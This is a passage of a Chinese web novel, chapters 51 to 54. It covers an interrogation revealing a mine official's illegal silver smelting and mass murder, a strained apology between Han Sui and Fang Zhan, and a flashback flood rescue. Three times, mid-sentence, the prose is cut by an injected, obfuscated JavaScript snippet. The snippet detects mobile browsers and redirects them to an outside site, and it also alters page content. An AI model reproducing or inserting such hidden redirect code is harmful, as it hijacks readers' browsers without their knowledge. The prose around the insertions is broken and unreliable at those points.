他上前捡起地上的名单,仔细折好:“你自己掂量便是,说与不说,都在于你,你若坚持缄口不言,我等自然拿你没办法,但你和家人的命也只能由你自己负责了。” 方湛收起裘明呈上的纸条,冷冷瞥了眼地上之人:“本官可给你半日加一夜的时间考虑,至于地方么——”他环视四周道:“我看这验尸房就很不错。” 三人走出验尸房,韩穗总算能放开呼吸了。裘明命人上锁的声音刚落,就听到身后传来惊慌呼叫。 她回首,只见李松蜡黄着脸跪爬到门槛处,用尽力气惶急嘶喊着:“我说,我说!我愿意将我知道的全部告诉大人!只求大人保我家人性命.…..” 既然李松愿意陈情,自然不用再与尸体共处一室。众人转移至最近的一处偏堂内,门外有两名差役把守,门内则由方湛坐正首,裘明与韩穗分列两侧,另还有两名玄英卫听候,大有升堂的架势。 李松跪在堂中,声泪俱下:“我真后悔,千不该万不该沾赌的,我就是因为赌钱才沦落到今天这个地步!” “两年前,我在城东益善药堂做学徒,偶然结识了古宝阁郭掌柜的侄子郭大牛,因为他的诱引,我沾染上了赌习,一开始我手气不错,赢多输少,可一个月后,我似乎运气用光了,直到最后一次去赌坊,我连输几把,不光把自己的钱输了进去,又借了郭大牛十两,可还是输没了。” “我总共输了五十两,五十两白银啊,我不甘心,我想赢回来,这时郭大牛说,他认识赌坊的一个人,可帮我说情,从赌坊柜上拿五十两暂时垫给我用。我当时太想把钱赢回来了,一下子上了头,没问明白就答应了。只是那五十两最后也被我输光了。” “等我回过神来想走,已经晚了,赌坊的人拦着我不放,拿出借据让我画押,我一看那上头还钱的规则,利滚利简直吓死人,我不愿摁手印,赌坊的人便说我想耍赖,叫几个壮汉将我绑起来,关押到暗室一顿毒打。” “他们关我到半夜,赌坊老板刘百盛来了,他出主意让我叫父母拿钱来赎人,可我实在不愿家人知道此事。他又恐吓了我一顿,见我似乎真的没钱,就帮我想了个办法。他说店里刚好来了一个做生意的朋友,正缺人手做工,若我愿意跟他去,做满半年不光能还债,还能自己攒上一笔。” “我那时走投无路,便一口应下,随后来了一个叫史先生的长须男 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“小姐说的那是记在名册上的矿工,不是我们这些见不得人的,”李松露出一丝惨笑,目中无光地叙说着,“我们二十几人待在一个很深很大的矿洞中,手脚带着镣铐,还有五名管事轮流看管,就这样分不清日夜、没有年月地挨着鞭子干苦工,有人死了就拖出去,过几日会再送来新的,死不了的就一直受罪.....” “你们在矿洞中都做些什么?”方湛出声打断。 李松似乎无法从痛苦中抽离,麻木地回答:“凿矿、治炼、铸银,明面上的矿工做什么,我们就也做什么,只是我们铸造出的银锭,并不交给圣上的驻军,而是通过连接榆水坡矿洞的通道,定期运出去,交给一个大胡子男人。” “可是张金龙?”方湛皱眉问道。 “没错,正是张金龙。因为我是那些人中为数不多会算数识字的,再加上我平时表现听话,他们便让我陪同管事每月与张金龙交接白银,”说到这儿,李松喉间突然发出一阵凄厉笑声,“可怜我们的圣上,千挑万选了一个心腹监矿,不知缺根的玩意儿早就把其中一半收进了自己的口袋中!” “大胆!圣上英明,岂是你能随意污蔑的!”裘明怒喝一声,却被方湛抬手制止。他示意裘明将那张失踪者名单交给李松,问道:“你再看一遍这张纸上的人名,你究竟认识多少?” 李松颤手捏着那张纸,看了良久,才道:“回大人,这上头至少有一半人都是与我一起在矿洞做工的,想来他们也是被利昌赌坊那伙人拐骗到矿上的,只是,他们都死了,就像躺在验尸房里的胡三刚一样……” 李松的说话声越来越小,方湛追问:“那些人都是如何死的?” “矿难,那场矿难!大人如此聪明,早就猜到矿难真相了吧?我们这些被拐骗去西山银矿为田青偷矿的人,知道太多秘密了,就算中途没有病死或被打死,最终还是难逃一死,因为只有死人嘴才最严实。” 李松如同一潭死水,双目直直盯着地上一处:“其实矿洞中的银矿石越来越少,直到有一日,采矿突然被叫停,我送完最后一箱银锭回来后,察觉到几个管事似乎心不在焉,甚至忘了给我重新戴上镣铐。到了放饭时间,那些管事居然亲自来给我们送饭。那时我早已识破他们干的是什么勾当,所以一有反常就心生警惕,偷偷将饭菜倒了,一口未吃。” “果然,不久后所有人开始腹痛、吐血,最后惨死在我眼前。当时我便意识到,到了灭口的时候了!我以为能靠装死躲过一劫,没想到,他们弄来了火药,要炸塌整个矿洞!我趁他们点燃火信离开之后,从连通榆水坡的通道跑了出去,侥幸躲过了那场可怕的矿难。” “所以你才会说你早该是个死人,我们不该救你……”韩穗喃喃道。 “是的,只因为我知道田青在官家银矿中私铸银锭、中饱私囊的秘密,我就该死!”李松苦笑道,“矿难发生的那个晚上,我还在山中寻找下山的路,可很快我便意识到,我不能回家,甚至不能下山,因为只要被他们知道我还活着,就会给家人带来杀身之祸。” “那段时日我躲在山中过活,等矿难平息后,我又回到矿山,找个了能争风避雨的矿洞住下,为了避免被山民发现,我将矿洞连接榆水坡石窟的通道堵上,还一度装神弄鬼将他们吓走。直到昨日,我意外在洞中看到张金龙那张脸,只以为他知道我还活着,特来追杀我的,这才吓破了胆逃跑,最后遇到好心的韩小姐,将我救下。” 堂上三人不由对望一眼,心中各有滋味。而李松说出全部后,突然泄了力,晕厥过去不省人事,被差役七手八脚抬了回去。 走出偏堂后,裘明对情绪低沉的韩穗道:“韩小姐觉得如何,我们方大人审人能不能称得上一击必胜?” 韩穗回首望了眼正与差役交代后续的方湛,也不知是跟自己较劲,还是与对方赌气,嘀咕道:“不过是仗着知道全局信息,再加上威逼利诱罢了。” 说完她便扭头就走,只留下裘明若有所思:“威逼利诱?嗯,还真是,韩小姐对大人的总结还挺到位。” 51. 道歉 李松所坦白的失踪隐情牵扯到西山银矿的巨大阴谋,纵使从昨日到现在马不停蹄地奔劳,方湛仍强撑精神,有条不紊地部署着后续事宜。 韩穗知晓事关重大,不便打扰,于是打算回到馆舍等他。 她一路走得很慢,显然情绪还没从李松的遭遇所带来的震撼中缓过来。 这日的最开始,她不过是来取回挎包,偶遇方湛查案遇到难处,本着在他面前卖个好的心思,才出手帮忙劝说李松。只是没想到,一层层谜团查下去,最终竟会揭出如此可怖的真相。 在此之前,她平生接触到的最坏的人就是白家夫妇了,骗娶她进门只为利用她的揭裱技艺谋私,导致她一辈子的幸福断送殆尽。而那俩公母与矿监田青在云州的所作所为相比,简直小巫见大巫。 为了填满欲壑,用下作手段拐卖人口偷炼私银,最后为了掩盖罪行,不惜伪造矿难,引发大面积矿洞坍塌,不仅将替他卖命采矿的人杀了,还害死了好多在册的矿工徭役。 犯下此等伤天害理之举,始作俑者却遥坐上京城,仍旧享受着滔天权势、荣华富贵。 耳边忽然回响起裘明所说将之绳之以法的话,韩穗心中不免生疑,如今宦官势力与前朝六部分庭抗礼,田青又是宦官之首许采忠的干儿子,就算方湛是亲王之侄,可毕竟淮山先生归隐多年,在朝中空有名头,而方湛本人初出茅庐,真能以一己之力与宦党对抗较量? “不对不对,”韩穗突然回过神来,摇着头自言自语,“我干嘛要想这些,搞得好像是在为他担心似的。” 朝堂之事鞭长莫及,不如想想眼下,若方湛果真有心要将田青罪行昭示于天下,她最该担心的该是三司会审中韩家与郭家会不会被连累。 父亲还好说,毕竟自始至终州府就没有插手过西山银矿,就算田青的事情败露,几个老爷大可将一切干系推到死去的叶阳县县令头上,再说一句“被蒙蔽”就能保命,顶多治个失察罪。 可郭家不同。且不说郭家与田青的狗腿子刘百盛有姻亲关系,最要紧的是,听李松那么一说,郭大牛十有八九是拐卖人口的同伙!郭家父女若不赶紧与这些事撇清关系,东窗事发后恐怕就要殃及池鱼,落个身陷囹圄! 念至此,韩穗不禁想起前几日从那副“候月图”中勘破的秘密,顿时如五雷轰顶,越发觉得那张郭大牛与张金龙银货两讫的交接单有重大问题。 若说先前还抱有几分旁观的心态,此刻已惊觉不妙。心中犹如猫爪挠似的,一抬头,正好看到前面有个岔路口。左侧是前往馆舍之路,往右则会进入州府前衙,若无人拦着,便可穿过二堂,再拐进一个偏院,直接到达关押品兰的库房。 她确实该去见一见品兰了。于是她毫不犹豫,提步迈上了右侧小道。 刚走出去几步,却听身后响起一道沉肃又不失清朗的声音:“韩姑娘这是要去哪儿?” 韩穗顿步回首,只见几步之外,红日西沉中立着一个修长挺拔的身影。 “去馆舍的路可不是那边,除非你不想要回你的挎包了。” 逆光中她看不清他的面容,但那清致轮廓映入眼帘时的熟悉之感,让她不由讪讪退回——离京前,她至少明面上还得顺着这位在云州说了算的方大人。 此时已近傍晚,无风亦无雪,夕阳余晖斜打在州府的后花园中,给独属于冬日的清冽透净染上一层瑰丽。 回去的路上,二人缓缓并行,各有所想。 待馆舍屋顶远远现于前方几株杂树之间时,方湛突然开口,语气淡淡道:“今日能让李松坦白失踪真相,还得多谢你相助。” “啊?”韩穗从一堆繁杂的思绪中回神,“哦,也没帮上什么实质性的忙,跟着瞎忙活了一通,最终还是靠大人的手段才让他开口的。” 方湛倒没有否认,似找不到什么话题了,又沉默下去。 韩穗这时却突然意识到手中还握着一个东西,正是那枚蹩脚到别致的香囊。 也不知自己是怎么想的,她鬼使神差地托起那个香囊,伸到青年身侧,弱弱问道:“这个,你还要么?” 方湛瞥了眼她手中的东西,以及那呆呆的神情,从腰间解下一枚玉佩,拎到她眼前,冷冷问道:“那这个,你还要么?” 待韩穗看清那玉佩样式,不由眼皮狠狠一跳,这不是那枚她赔给冼牧川的玉佩么?今日她只顾正事,根本没留意身边人的穿戴配饰,没想到他居然把它戴在身上了。 好嘛,四年前她送他的香囊、他赠她的玉佩,这两样令人不堪回首的东西凑齐了。 可她实在听不出将才方湛的反问是何意味,嗫嚅了半天,只好又把问题抛了回去:“你、你说呢?” 方湛眼中闪过一丝晦暗不明的幽光,手中玉佩一收,又从她手心迅速拿走香囊,散漫着语调说:“我看这两样你都不想要,还是由我收着吧。” 韩穗眨了眨眼,垂下空空的手,心道:被你说中了。但她终是没说话,只觉此刻说什么都不对。 于是两人之间又陷入沉默中去。 韩穗计算着到达馆舍的距离,忽然想到,反正当下的气氛已经尴尬至此,不如破罐子破摔,豁出去了,趁此机会把与他之间的过节彻底说开。 虽说那一段过去如同黑历史,两人之间最好的处理方式就是形同陌路、老死不相往来,但问题是她眼前哪一桩事都绕不开他,甚至有求于人,就算是违心,也只能道歉求和以保全大局。 唉,当年敢爱敢恨时可没想过还有今天这么一出。 报应啊!韩穗在心中哀叹一声,抢在自己后悔之前,鼓足勇气清了清嗓子,开口道:“呃,那个,虽说人应该不断往前看,但我觉得,关于你我之间的过去,我好像.…..还欠你一句对不起。” 方湛脚下一滞,随即又若无其事地继续前行:“哦?为何对不起?” 韩穗深吸一口气,破釜沉舟道:“为我当年的无知而道歉,我千不该万不该调唆你与我一同……私奔。”最后两个字犹如烫嘴,但总算说出了口。 “我更不该在最后关头又食言反悔,置你于难堪,甚至不敢亲自与你见面说清楚,只懦弱地叫我哥哥代别。这些,都不是正人君子所为。” “不过,”她不忘为自己辩白,“我真的不是故意这样,若我早知你是方家子弟,就不会也不敢萌生那样荒唐的想法!另外,当年我也不是有意放你鸽子,只因家中突遭变故,我不得已从命嫁人……” 她并没有详说是何变故,毕竟那牵扯到自己被骗婚,以及后来得知真相后利用此达成和离的经过。以二人如今的关系,她实无必要推心置腹地把这些都告诉对方。 冬日西沉的速度很快,日光正从视线里悄悄撤散,方才的后花园还盈满了夕照瑰丽,现在已像被灰纱笼罩住似的,景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425900|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物的轮廓开始模糊不清。 起风了。 冷风拂动韩穗的鬓边发丝,突然让她找到了自怜的哀感。 很好,她抓住这缕情绪说道:“我知道,以大人尊贵的身份,定不会把当年一个丫头片子的胡闹之举放在眼里,但作为行为有亏的一方,我这些年一直心有内疚,午夜梦醒时更是悔不当初,如今再相见,一定要当面说出这份歉意才能心安。” 方湛终于忍不住停下脚步,他转身,视线聚落在韩穗稍垂的侧颜上,单眉微挑,眼中尽是对她会说出这些话的怀疑。 心有内疚、悔不当初,她可真敢编啊。 但他仍然问道:“这就是你道歉的全部缘由?” “嗯。”韩穗抿着嘴角点头。 她努力作出赧然的表情,实则内心长舒一口气——总算说完了。她甚至对自己的表现很满意,要是能适时落下后悔的眼泪就更好了,只可惜她不爱哭,哭不出来。 没关系,接下来她只需根据对方的反应,再追加一些表示悔改的话,估计这一趴就揭过了。 然而左等右等,除了耳边的风声,就是没等到那个男人开口说话。她有些奇怪地抬头。 方湛的身高刚好比她高出一个头,此刻正睨看着她,那目光似要看穿什么,叫她有些心虚地别开眼。 片刻后,他轻启双唇:“好,我接受你的道歉。” “当真?”韩穗不敢相信事情居然会如此顺利,一时忘记表情管理,洋溢出了笑容。 那笑容落到方湛眼中,有些晃眼,他对她的追问置若罔闻,扭头继续朝前走去。 韩穗紧跟其后,由于喜出望外,话一时多了起来:“我就知道,大人乃人中龙凤,心怀朝堂与天下,我那点事儿,在大人浩瀚璀璨的人生中,早就无足轻重不值一提了。” 轻快的语调传到方湛耳中,叫他莫名心梗。偏偏韩穗一心趁热打铁,想着既然话都说开了,当年交换的信物也该各自归位,把隐患全部消灭才好。 她挠了挠眼角,试探道:“我做的那个香囊,粗制滥造不堪入目,佩戴在大人身上实在是有损风姿。再有,以后大人娶亲了,这玩意儿若被未来夫人发现,引起一些毫无必要的麻烦就不好了,要不,还是还给我?” 方湛兀地停步转面,目光透骨冰凉,冷冷道:“我也可以把它扔了。” 韩穗一愣:“呃.….那也行。” 她不明白哪句话惹了他,下意识找补道:“我这也是为大人着想嘛.…..” “那你管太多了。” 韩穗终于噤声,看着前方那个冷漠背影迈进馆舍大门,心想:我好像是管多了哈,都管上他未来后宅了。 二人走进馆舍正堂,方湛一言不发,径自步入内间,韩穗则在外间站立等候。 片刻,他从落地罩后走出,手中拎着的,正是韩穗的挎包。 包身是湖蓝地月兔衔桂纹的料子,缝制成花瓣状微弧,翻盖则是更浅的禾绿,另配一条同色宽背带。包已被洗磨得发旧,但主人还是精心地在纽襻上挂了一条攒心梅花络子。 “多谢。”韩穗迎上前,伸手欲接过挎包。 可方湛持包的手一避,淡漠开口:“想拿回包可以,但需先答应我一个条件。” 韩穗几乎是条件反射地气道:“你又来这一出!” 此话一落,屋内二人双双一愣。 52. 挎包(回忆贰) 成乾十年的春日,十五岁的韩穗亦在为找回自己的挎包而焦灼。 那日她在藏书阁为了躲开故意找茬的少年,只顾飞快跑路,却把挎包落在原地。等她有了时间再去找时,包已不翼而飞。 她去找看管藏书阁的牛叔询问,牛叔却称那少年离开时天快黑了,他老眼昏花并未看清其手中是否有东西。 她又问那少年是谁、住在哪里,牛叔却打起了磕巴:“与他不、不太熟,他是……书院的杂役,但平时在先生身边听差,不常来咱们后园的。” 韩穗不觉有异,思忖道:“那他应是与其他的斋夫一样,住在书院的仆役房里。” “不不,他、他与学子们一同住,住在学舍。”牛叔怕她真找到仆役房里打听,所以故意编了这个说法,心道学舍中年轻郎君那么多,料想这个女扮男装的官家小姐不会好意思去。 只是他想岔了——韩穗一听,说走就走。 可问题是只要她去前院一打听,那小子的身份指定露馅,自己帮他掩盖身份的任务也就算完了,到时候他手中的宝贝鱼竿可就不保了! 牛叔急中生智:“等等,你先别去,我听说那小子这几天下山采买去了,你去找他也是扑空,不如等他回来了再说。” “他下山了?”韩穗大失所望。 牛叔淡定点头。 她略一思索:“劳烦牛叔一件事,我不便天天去前院堵人,所以想请牛叔帮忙盯着学舍那边,一有他回来的消息就赶紧告诉我。” 牛叔自然是喏声应下,见她终于离开,这才松了口气,摇头自语:“那小子,惹到不好惹的人咯……” 山上天气一日比一日闷热,山桃花、野杏花、杜鹃花忽如一夜绽放,纷叠争艳,布满山坡。 气温急变让来不及换衣衫的人们拭汗嘀咕,难道今年的春天就这么过去了? 纵然天气闷热,却无法阻滞书院早就定好的蹴鞠比赛。这日一大早,蹴鞠赛的锣声响彻书院,所有男丁都跑去赛场看热闹,就连膳夫伙计们都不例外。 韩穗不晓得一堆人抢一个球的好处,懒得凑热闹,照例窝在后园的厢房内。与她同住的两个嬷嬷结伴下山去了,她一人闲来无事,便拎了箩筐去外头采摘香椿芽。 只是人还没走到地方,脚下一绊,直接歪倒在一湾泥潭里,摔了一身泥水。更倒霉的是,她在这儿只有两身杂役的衣裳可换,而另一身她早上刚洗过,还未干透。 别无选择,她只能暂且换上来时带的一套女子衫裙,搬起木盆,到院子一角引来的山泉旁清洗衣裳。 春日融融,光照专门寻着葱茏树木的空隙找到此处,投落在这一方天地间,给桃花的粉、二月兰的紫、琼花的洁、深浅不一的绿,以及少女薄衫的鹅黄,笼上一层蒙蒙柔光,光影掺杂,如梦似幻。 少年寻到她的时候,入目就是这样一幅景象。 韩穗终于用鬃刷洗掉衣服上的泥巴,她甩甩手上水滴,又挽了挽快落下去的袖口,拿起木舀去泉井中取水。 等她再回头,眼前忽然多出一抹晃动的蓝色。 她定睛:“我的包!”刚想伸手去捞,那包却往后一闪。 韩穗抬目,只见被故意撤回的挎包旁是一张清致如玉的少年面孔。 好哇,他主动送上门来了!她一手叉腰,一手伸出,声音干脆:“把包还给我。” 少年凤目清湛,含笑道:“你先前果然是女扮男装。” 韩穗大惊,低头看了眼自己的衫裙,但秘密泄露的无措不过一瞬,她很快又理直气壮起来:“那又如何,还我的包就是。” “想要回你的包好说,”少年双臂抱于胸前,作出一副无理又强行有理的表情,“但你得先答应我一件事。” “那算了,不要了。”韩穗扭头就走。 “喂,”少年在其身后着急喊道,“我捡到你的包,好心保管了几日,还亲自送上门来,你不该表示感谢么?” 那个鹅黄色的纤挑背影恍若未闻。 “好大的气性。”少年嘀咕了一句,又赶紧喊:“你哥哥是不是叫韩程?” 鹅黄背影兀地止步,紧急掉头,疾步折了回来。 及近,韩穗一双杏眼杀气腾腾,似林间被激怒的小鹿,几乎是咬着牙问道:“你到底想干嘛?” 少年从未被一名鲜活的同龄异性如此逼近,下意识后退一步到安全距离,才答道:“想让你帮个忙。” “帮什么忙?” “帮我修复一封旧信。”这次少年不敢再卖关子了。 这下轮到韩穗抱臂于胸前、侧目打量对方:“你觉得我会修复书信?” “自然,国朝第一圣手、翰林画院总画直韩归的孙女,岂能不会?” 眼看自己被人摸透了底细,韩穗心生警惕:“你听谁说的?” 少年落拓不羁地往身后石凳上一坐,淡笑道:“淮山先生呗。” “不可能。”淮山先生可没那么嘴碎。 “淮山先生确实不曾直接告诉我,是我自己猜的。前一阵,先生手书一副颇为得意的字画,却有一处错字,苦于不知该如何改正,便一直搁置在旁。昨日我看那画已裱挂起来,且错字亦被挖补改正,我便问先生请的何方高明,先生只笑说‘人不可貌相’。” 韩穗等了等,见没下文,问道:“就这?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“等等等等!”韩穗没辙了,上前一把扯住自己挎包,瘪了瘪嘴,“不收钱了,我帮你修便是,但你得替我保守身份秘密!” 少年闻言立刻弯起眉眼:“自然,君子一言,驷马难追。” 二人间的拉扯总算有了和解。 少年将书信交给韩穗过目,后者只翻过来覆过去看了一眼,便说道:“这封信总体完好,但是年头久远,又经常被人反复展开折叠,导致折痕脆弱,几近断裂,或者平日信的主人总把它带在身上,导致边角曲卷磨损。” “那还能修复如新么?” “那当然,这很简单,可以直接托一张背覆纸整体加固,也可以用纸条局部补牢。”说着,韩穗将信递还给少年,“不过今日不行,我穿成这样就不乱跑了,明日巳时你拿着信去藏书阁找我。” “好啊。”少年一口应下,还了挎包,二人就此别过。 53. 救人(回忆叁) 入夜,天边隐隐传来滚雷声。 睡前,嬷嬷特意挑灯过来帮韩穗关好门窗,笑道:“看样子夜里要下雨咯,这还是今年的第一场春雨呢,春雨好,春雨贵如油,春雷万物生。” 韩穗却只觉闷热好似入了夏,暗求快些下雨好凉快些。 夜半时分,山雨果然如期而来,愈下愈大,浇打在屋顶与窗弦上发出急响,混合着一道道雷鸣轰闪,将睡梦中的韩穗猛然惊醒。 她睁眼听着屋外急雨,缓了缓心神,心道山中下雨果然不一样。方想继续闭眼睡过去,却隐约从雨声中分辨出来自遥远处的人声呼喝。 她直觉不对,遂起身点灯找出雨具,想出去一看究竟。刚出门,迎面撞见隔壁的嬷嬷从外头回来,她忙上前打听出何事了。 嬷嬷忧心忡忡:“唉,雨下的太大,后园东侧那条溪水暴涨,把旁边的几间屋舍都冲了!好在里头的人跑得及时,现下已经没事了,你不用怕,回去接着睡就行。” 韩穗被嬷嬷推回屋内,可关上门后,她却突然想起,藏书阁距离那条山溪也不远! 而书阁的一层地板上还搁着两大箱她未来得及收整的书籍,若是大水漫上来,岂不是要把书给泡坏了! 一想到这个可能性,她再也待不住,披戴上蓑衣斗笠,拎着风灯就出了门。 待冒雨赶到藏书阁,亲眼看到积水还漫不过第一层台阶的一半,总算松了口气。 韩穗拧了拧吸饱雨水的裤腿角,正欲拿钥匙开门,身后忽传来一阵脚步纷踏声。 她回首,只见雨幕后的不远处,一群人挑着幽晃的灯,正匆匆朝东奔去。经过藏书阁时,她分明从急乱的雨声中听到了牛叔那带着哭腔的声音。 她忍不住追跟过去,拉住一人问道:“发生什么事了?” 那人抹了把脸上的雨水,大声道:“牛叔的孙子小斐然被大水冲走了!大伙儿正赶去帮忙找呢!” 不等细问,人群前头响起一个沉稳有力的声音,穿过疾风骤雨,清晰而又熟悉:“李二哥,你带几人去附近树林里找,其余水性好的,都跟着我沿溪水往下游找!” 此令一出,众人当即自发分成两队。先前被韩穗拉住的那个人,以为她也是闻讯赶来帮忙的,空着手问道:“小兄弟,我没有灯,要不你与我结伴去找人吧。” “她不行!”韩穗尚未回过神,便见人群向两边分列,从中间走来一道修长身影。那身影站定在她跟前,斗签遮住大半张脸,只露出玉雕般的下颌线。 如注雨幕中,韩穗借着微弱的灯光,认出眼前来人:“是你?” 少年将手中风灯递给那人:“你用我的灯吧,她是新来的,不熟悉山中地形,由我带着。” 分工明确后,众人一边呼叫着孩童的名字,一边四散找去。 很快,那些呼喊声与幽灭的灯光都被大雨渐渐湮没,少年看着几乎已被湿透的韩穗,责备道:“你一个姑娘家,不该冒雨出来,快回去吧。” 韩穗却来不及解释什么,干脆道:“眼下孩子丢了,人命关天,我怎好回去,就按你刚才说的,我跟你去找人,反正你也没灯了!” 夜晚的山似幢幢巨怪,而急遽的暴雨就像它的怒啸,撕扯着山林、掀翻了河流。这一场怒啸持续了整整一夜,日出破晓时分才堪堪平息。 雨帘渐薄,最后只如往年的每一场春雨一般无二,细如牛毛,润物无声。可山林间已尽是被摧折过后的狼藉,昔日洗衣钓鱼、浞足嬉戏的溪边,也早成了湍流汹涌的洪流。 韩穗踩在洪流边的巨石上,手中的灯早已熄灭,她扯着嘶哑的嗓子,一声声地呼唤着斐然的名字。可回应她的,只有湍急的水声。 “这儿好像没有,咱们继续往下游走吧。”焦急间,她脚下一滑,一个趔趄就要摔下去,幸好被身后的少年稳稳拦抱住。 只那一瞬,她便透过湿冷的衣物隐隐感受到对方温热的体温。她心生慌乱,登时使力站稳了,一把推开少年。 “你……” “嘘!” 骂人的话尚未出口,就见少年噤声静听的示意,她也只好跟着去听。 似有孩童的咛哭声,微弱细小,几乎要被哗哗水声盖了过去。少年循声辨向,转步一跃,朝着下游奔去,韩穗则紧随其后。 那哭泣声越来越清晰,很快,二人锁定溪流对岸的一处石缝。 少年将随身携带的绳子拴在溪边一株粗壮的树干上,另一头则系到自己腰上,除去身上斗笠蓑衣,又叫韩穗在岸上等着,只身跃入那股洪流之中。 他水性较好,刚入水时虽被突如其来的急流冲没了影儿,但很快便重新浮出水面,朝着对岸传出孩童啼哭的石缝奋力游去。 韩穗站在岸上焦急观望,远远瞧着少年攀扒住对岸的石头,朝一个由几块巨石堆搭起的缝隙看去。忽然,少年的脸上扬起笑容,他遥对着这边喊道:“找到了,找到斐然了!” 然而当他试图钻入石缝将抱着树根啜泣的斐然救出来时,却几次失败,只因那缝隙实在太窄,他即便侧身都难以入内。 此时又有一个在附近寻人的厮役闻声而来,见状也想下水去试,却被韩穗拦住:“你肯定也进不去的,把绳子给我吧,我身量瘦小,应该能行。” 她学着少年的方法,将绳子的两头分别栓在树上和自己腰间,准备下水时,却见少年已游了过来。他在水中张开双臂,对她道:“我来接你过去。” 河水冰凉刺骨,夹混着泥沙冲击到身上,在这样的激流中凫水,远比她想象中的还要艰难。 韩穗几乎是被少年托携着游到对岸,她紧紧拽住凸露出的蟠虬树根,侧身借助水流的力量,让自己缓缓进入石缝中。 年仅八岁的斐然被卡困在石缝中整整一夜,此时已是虚弱无力,稍有不慎便会被急流的力量冲走。韩穗毫不犹豫地解开腰间绳索,绑在斐然身上,叫外头的少年将他拉拽出去。 少年在外头急切叮嘱道:“你先留在里头别动,千万别出来,等我把斐然送上岸再回来接你。” 这处石缝更像一个狭洞,一头能容身量单薄的人出入,另一头则合拢在一起,反倒在急流中形成一个安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少年俯视着紧贴在自己身侧的女孩,她湿漉漉的头顶上粘着几片树叶,几缕碎发糊在玲珑侧脸,不知是因为惊吓还是寒冷,身体正在微微发抖。 “现在应该安全了。”少年提醒道,他拉住韩穗的手,往岸边淌去。 两人狼狈上岸,尽量往高处爬,直到筋疲力尽,才瘫靠在一株松树下,总算能安心地喘口气。 “你的绳子断了?”韩穗随手拾起仍然绑在少年腰上的那截绳子,刚想说这洪水的力量可真够大的,却兀地看清那截口的齐整。 下一刻,绳子被倏然抽走。 少年不紧不慢地解开腰间绳扣,将那绳子随手扔到一边:“我用刀割断的。” “啊?为什么?” “总不能眼睁睁看着你这位大小姐被洪水冲走不管吧。” 韩穗心中一颤,不由定睛看过去。 晨光熹微,少年的笑清冽明朗。他起身,对她伸出手道:“走吧,我背着你,省得回去晚了,他们都给咱俩哭上了。” 54. 古宝阁(一) 人与人一旦共同经历过生死,两颗心再远也会自然相依。 更何况是在那样烂漫纯净的年纪。 暴雨山洪后的晴宁伴着鸟鸣啁啾,少年背着女孩,在劫后余生的说笑中,一步步朝着半山腰的书院跋涉而去。 只不过,一个朦胧美好的开端,并不意味着故事就能一直以同样的腔调走下去。 四年后,二人在云州府衙的馆舍里再次因为一个挎包对峙,可不再是那种你来我往的游戏。 毕竟人长大了,各怀心思也都是动真格的。 笑容凝固在韩穗脸上,她讽刺问道:“说吧,我要想拿回属于自己的东西,还需答应大人您什么条件?” “将你从刘宅取走的东西交出来。”方湛不紧不慢道。 这下韩穗脸上最后一丝笑意也没了,她盯着落地罩上一处雕花,将早就想好的说辞奉上:“不敢瞒大人,我那日取走的是郭品兰的私物,一副还算值钱的书画,与大人办案并无关系。我承认,我取走它的方式确实不够光明磊落,但那是因为当时大人下了查封刘家财产的命令,我怕品兰的私物被误收而已。” “是吗?” “就是这样。” 韩穗勉强点头,内心七上八下,然而她害怕的追问并未到来。 方湛将挎包递还给她,用听不出情绪的语气道:“时候不早了,快回家吧。” 得此令,韩穗自是松了口气,溜之大吉不提。 上灯时分,斐然带着一身寒气从外头回来,一进馆舍便四处探看,正准备更衣再去狱中提审的方湛不耐烦问道:“找谁呢,我不就站在这儿么?” “阿粲姐不在?” “早走了。” 斐然这才松懈下来,颓然禀道:“公子,我都快问遍云州城了,连媒婆都拜访了好几个,就是没打听出阿粲姐和离的原因,想来也是,在定州发生的事情,怎么也传不到云州来吧。” “媒婆?”方湛理着袖口,闻言眉头一皱,“你去找媒婆做什么?” “公子有所不知,韩家的那些街坊们很难对付,我找她们打听,还没问上几句,反而差点被刨根问个底朝天。我只好想了个便宜的法子,假装家中公子想求娶韩家姑娘,请媒婆去帮忙探听情况。只是那些媒婆也不中用,有的连阿粲姐和离过都不知道。” “......”方湛一时不知该对他这个馊主意作何评价。 “不过我倒是从媒婆那里得知,想求娶阿粲姐的人还真不少呢,个个都是富贾豪绅,毫不在意什么和离不和离的,就图阿粲姐人美心善、又有才华。”斐然与有荣焉。 方湛却冷哼一声:“他们哪里是图求娶之人,贪图韩家一门有三人在朝为官才是真。” “唉?好像真是......”斐然正琢磨着,却听方湛又道:“去定州的玄英卫方才回来了,已弄清楚你阿粲姐的和离内情,你无须再在此事上耗时。” 斐然敛色称是,又问:“那阿粲姐和离是不是因为受欺负了,咱们要不要替她出口气?” 方湛动作一停,似是在回想什么,眸光不自觉寒凉了几分,冷冷道:“待云州事毕,我自有安排。” - “哼,又想用包来要挟我做事,没门!” 韩穗气鼓鼓回到家,第一件事便是反锁上暖阁的所有门窗,打开大樟木箱的两重锁,将先前从《候月》图中揭出来的那张讫条取出,坐在书案前仔细端详起来。 讫条上那句让人摸不着头脑的内容,此刻如同淬了剧毒的恶咒,叫她周身寒意阵阵。 今日李松说得清楚,矿监田青利用职权在皇家银矿暗挖私矿,将官银变成私银,如此大逆不道的行径,无异于从圣上口袋里偷钱!而偷出来的那些银锭,正是交给了张金龙。 